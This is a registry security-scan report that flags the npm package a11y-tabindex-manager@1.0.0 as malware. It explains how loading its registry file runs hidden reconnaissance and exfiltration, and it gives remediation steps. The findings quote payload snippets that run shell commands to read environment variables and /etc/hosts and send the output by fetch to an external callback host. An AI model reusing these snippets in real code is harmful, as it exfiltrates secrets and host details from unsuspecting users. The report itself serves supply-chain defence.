Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. Loading the registry file activates system reconnaissance and data exfiltration. Its manifest exposes that file as multiple registry assets. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-10-03T11:44:22.033Z - **Finished:** 2026-10-03T11:45:13.959Z - **Download time:** 759 ms - **Static scan time:** 34 ms - **AI review time:** 51132 ms - **Total time:** 51926 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Loading the registry file activates system reconnaissance and data exfiltration. Its manifest exposes that file as multiple registry assets. - **Trigger:** Evaluation of thunderboltRegistry.js directly or by a registry asset consumer. - **Impact:** Environment variables, potentially including secrets, and host identity and network details can leave the consumer system. - **Evidence paths:** thunderboltRegistry.js, registry-manifest.min.json - **Review source:** ai\_review - **Reviewed:** 2026-10-03T11:45:13.959Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** An immediately invoked function obtains child\_process, executes reconnaissance commands, and sends encoded output through fetch to a fixed HTTP endpoint. - **Attack narrative:** A consumer loading a manifest-listed registry asset executes the embedded payload before the registry exports are created. Where child\_process and fetch are available, it collects environment variables and system reconnaissance output and transmits them to a fixed external recipient. Errors are swallowed. The empty default entrypoint limits activation but does not neutralize the executable exfiltration payload. - **Rationale:** Inspected source implements concrete data collection and transmission unrelated to accessibility management. The attack activates when the registry asset is evaluated, despite the absence of an installation hook. - **Files touched:** /etc/hosts, /etc/resolv.conf - **Network endpoints:** http://dxpoc.gt.tc/callback.php/ef9ea0e191006f3cc6670720c99c26f3 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** thunderboltRegistry.js immediately defines a sender that transmits collected data to a fixed external HTTP endpoint., The registry code runs a shell command to collect environment variables and forwards up to 2,000 characters., The registry code reads /etc/hosts through a shell command and forwards its contents; it also collects identity and network information., registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js file. - **Evidence against:** The default index.js entrypoint exports an empty object, and package.json declares no lifecycle scripts; ordinary installation or default import does not activate the payload. ## Affected versions and remediation This report applies to a11y-tabindex-manager@1.0.0. - Avoid installing a11y-tabindex-manager@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1.

Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 3. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** thunderboltRegistry.js - **Public source:** [View source]() thunderboltRegistry.js immediately defines a sender that transmits collected data to a fixed external HTTP endpoint. Public source snippet (untrusted): ```javascript var wh = "http://dxpoc.gt.tc/callback.[redacted]"; var exfil = function(params) { try { fetch(wh + "?" + params).catch(function(){}); } catch(e) {} }; var cp = null; ``` ### 4. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** thunderboltRegistry.js - **Public source:** [View source]() The registry code runs a shell command to collect environment variables and forwards up to 2,000 characters. Public source snippet (untrusted): ```javascript var env = cp.execSync("env 2>/dev/null | head -50", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=env&out=" + encodeURIComponent(env.substring(0, 2000))); } catch(e) {} } var nv = "no", pl = "no", pid = "0"; try { nv = ``` ### 5. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** thunderboltRegistry.js - **Public source:** [View source]() The registry code reads /etc/hosts through a shell command and forwards its contents; it also collects identity and network information. Public source snippet (untrusted): ```javascript var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000))); } catch(e) {} try { var whoami = cp ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** registry-manifest.min.json - **Public source:** [View source]() registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js file.
